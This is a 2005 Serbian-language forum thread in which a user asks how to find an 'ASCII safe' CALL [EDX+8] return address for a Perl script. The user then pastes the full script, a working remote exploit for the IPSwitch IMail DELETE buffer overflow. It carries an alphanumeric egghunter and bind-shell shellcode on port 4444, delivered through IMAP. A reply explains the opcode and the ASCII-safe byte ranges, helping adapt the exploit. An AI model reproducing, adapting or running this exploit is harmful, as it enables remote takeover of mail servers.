[ camypaj @ 08.05.2005. 02:17 ] @
Cao.

Moje poznavanje asm-a je na nivou citanja :)

Pretpostavljam da ce moje pitanje biti glupo, ali koristio sam i google metod, i sekvencijalno pretrazivanje postova, i samo sam premorio oci... 8-)
Nemam drugog izbora, moram da vas davim...

Naleteo sam na neki perl skript u kome mi je potrebna
"ASCII safe address pointing to a CALL [EDX+8] for your OS"

Ja koristim slek 10.1, pa me interesuje da li je ta adresa konstantna, i postoji li neki jednostavan nacin da je odredim?
(pretpostavljam da je nesto kao "iskompajliram kod", uradim "disasembl", pogledam adresu)

Jel ima neko da je radio nesto slicno, da mi ne prodje zivot dok ne provalim?

Kad smo vec kod toga, sta ta adresa uopste predstavlja?
(reference na literaturu na eng i srp su dobrodosle)

Hvala unapred...

===============
You don't have to be anybody... because I would know, being somebody doesn't make you anybody anyway.
[ DreamsInDarkness @ 08.05.2005. 15:55 ] @
Sam si odgovorio. Mi tu adresu ne mozemo da ti odredimo jer ne znamo sta se nalazi u EDX . Moras da pogledas koliki je EDX u tom trenutku. To moras sam uraditi.

A tvoje pitanjce je malo nejasno.....
[ camypaj @ 08.05.2005. 23:27 ] @
Shvatio sam da je pitanje nejasno po tome sto mi niko ne odgovara. :(

Radi se o perl skriptu, u koji su ubaceni shell kodovi, i asm kod


# 0x6921526A -> pointer to "CALL [EDX+8]" ends up in return address
##########################################################################
# This should hopefully be the only version dependent variable here.
# Find an ASCII safe address pointing to a CALL [EDX+8] for your OS
##########################################################################
$calledx8 = "jR!i";


Imas li neku ideju kako da odredim tu adresu, i sta znaci "jR!i" ?
Pretpostavljam da na to mesto treba da upisem pronadjenu adresu.
Jel ovaj poziv poseban po necemu, i da li postoji samo jedna takva adresa na sistemu?

I sta mu je ta Ascii safe adresa?
Jel misli na to da je u hex-u, kako bi mogla u perl skript?

Hvala na odgovoru/ima.

Sorry ako kros-postujem ili sta slicno.


Evo i celog skripta: :(

Code:

#!/usr/bin/perl -w
###################################
#
##################################

use IO::Socket;
use Getopt::Std;
use Mail::IMAPClient;

print "Exploit for the IPSwitch IMail DELETE buffer overflow\n";

# Find shellcode with signature "w00tw00t"; start from esp
# from 0 -> $egghunter = "TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIVSyBUco0OKbWdp00ptH0uXqRnkHH2a3PLMvtvqzm6NulfePabTiaxbycrb09Gjt5xkTySjeTsEzFmSo2eXyoKRA";
$egghunter = "TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJINkN44skpmkt7fPTpptx0UXpBLKkx1Q3PLMtT4QxMVN5lc5sQSDxqyrjSW2VYUJRUXkp9SjVdT5KVosKrWxioKRA";

# Real shellcode: bind shell on port 4444 ( ./alpha edx < shellcode.bin )
$shellcode = "JJJJJJJJJJJJJJJJJ7RYjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIKLjH2vUP7puPQCQEV6aGnkbLWT28NkpEWLlKpT35QhgqKZlKPJvxLKQJWPuQXkKSdrSyLKgDLKuQJNVQ9okLP1KpLP8kPBT7wyQXOVmvahGZKl25kSLwTGdqeKQlK2zUts1jKSVnktL0KNkaJWlUQxkLK7tnkUQM8zKgrVQYP1OqNQMQKkreXWpSnSZp03i1tlKGilKSkvlLKQK5Lnk7kLKckTH0SSXLNpN6nJLKOJvK9IWK1ZLuPfawps0Rwv63cMYiuJHDguPuPS0Np7qWp7pnV6ywhYwMttYt0Yym5QYK62inDvzd0Kwy4nMDniyXYUYkENMHKxmylgKpWPSVRSovS4ruPckLMpKupRqKOYGK9YOoyKsLMBUTTRJs7Ryv1RsYoTtNokOv534pYk9dDNnyrxrtkgWPTKOtwIoRutpfQkp2ppPrpF0spPPaPv09oRuFLniYWuaYKScpSe86bC07a3lmYIpSZVpRpQGyoruQ4QCF7kOv5thBsSdSgIoRuUpNiYWPhpCRmStwpoyXcLGyjDqIPnmQlQ4NLaz7e69zSlkNgJZosXlPTkvQT7TTP1TQvYWpDWTul5QUQLIcLTdRhK9SLQ4RlmY1letPPLMSt5tFpqDrppQRqCaSqSa2iBqRqRspQKO45uPbH0rKNNS4VKOpU5TyoXPLIyvKO45S0QxnMN9fexNYov5S4oyHCbJKOKOTvkOzsyorU30BHl0MZfdaOkORu7tFQyKPSIo8PA";

getopts("h:u:p:", \%args);

if ((!defined $args{h}) || (!defined $args{u}) || (!defined $args{p})) {
print "Usage: $0 -h [host] -u [username] -p [password]\n";
exit;}

$usr = $args{u};
$pwd = $args{p};
$host = $args{h};

# jb +20; jnb +20 -> jump over return address (0x21 is first ascii safe offset)
$jmp21 = "r!s!";

# aAA aligns ESP with the egghunter shellcode (popad, pop, pop)
$asciieh = "aAA" . $egghunter;
$asciisc = "w00tw00t" . $shellcode;
$email =
"From:  <a\@b.com>\r\n" .
"To: <b\@c.com>\r\n" .
"Subject: $asciisc\r\n" .
"Date: Wed, 3 Nov 2004 14:45:11 +0100\r\n" .
"Message-ID: <000101c4c1acdcndj6d69b90$5e01a8c0\@snorlax>\r\n" .
"Content-Type: text/plain;\r\n\tcharset=\"us-ascii\"\r\n" .
"Content-Transfer-Encoding: 7bit\r\n" .
"\r\n" .
$asciisc;

$payload = "A" x 236 . $jmp21 x 3 . $calledx8 . "S" x 29 . $asciieh . "\r\n";

print "Login in to $host as $usr/$pwd\n";
my $imap = Mail::IMAPClient->new( Server => $host, User => $usr, Password=> $pwd) or die "Cannot connect: [email protected]";
print "count: " . $imap->message_count("Inbox") . "\n";
print "Sending EGG\n";
$imap->select("Inbox") or die "Could not select: [email protected]\n";
my $uid = $imap->append( "Inbox", $email ) or die "Cannot append: [email protected]";
$msg = $imap->message_string($uid) or die "Cannot get message: [email protected]";
#$msg = $imap->body_string($uid) or die "Cannot get message: [email protected]";
#print "retrieving $uid back: $msg\n";

print "Overflowing DELETE\n";
$imap->delete($payload) or die "Cannot delete: [email protected]";

print("Finished...\n"); 

[ DreamsInDarkness @ 09.05.2005. 17:01 ] @
pa ne moze precizno da se odredi adresa!!! moras sam. Mozes samo da znas opcode CALL [EDX+8] a to je FF5208

$calledx8 = "jR!i"; ti je 0x6921526A samo u ascii zapisano

ceo shellcode ti alphanumeric tj. kao sto vidis sastoji se od slova i brojeva

ascii safe misli da bude po mogucstvu opcode od
0x30 - 0x39 za brojeve
0x41 - 0x5A i 0x61 - 0x7A za slova
imas i simbolcice i ostale djavole......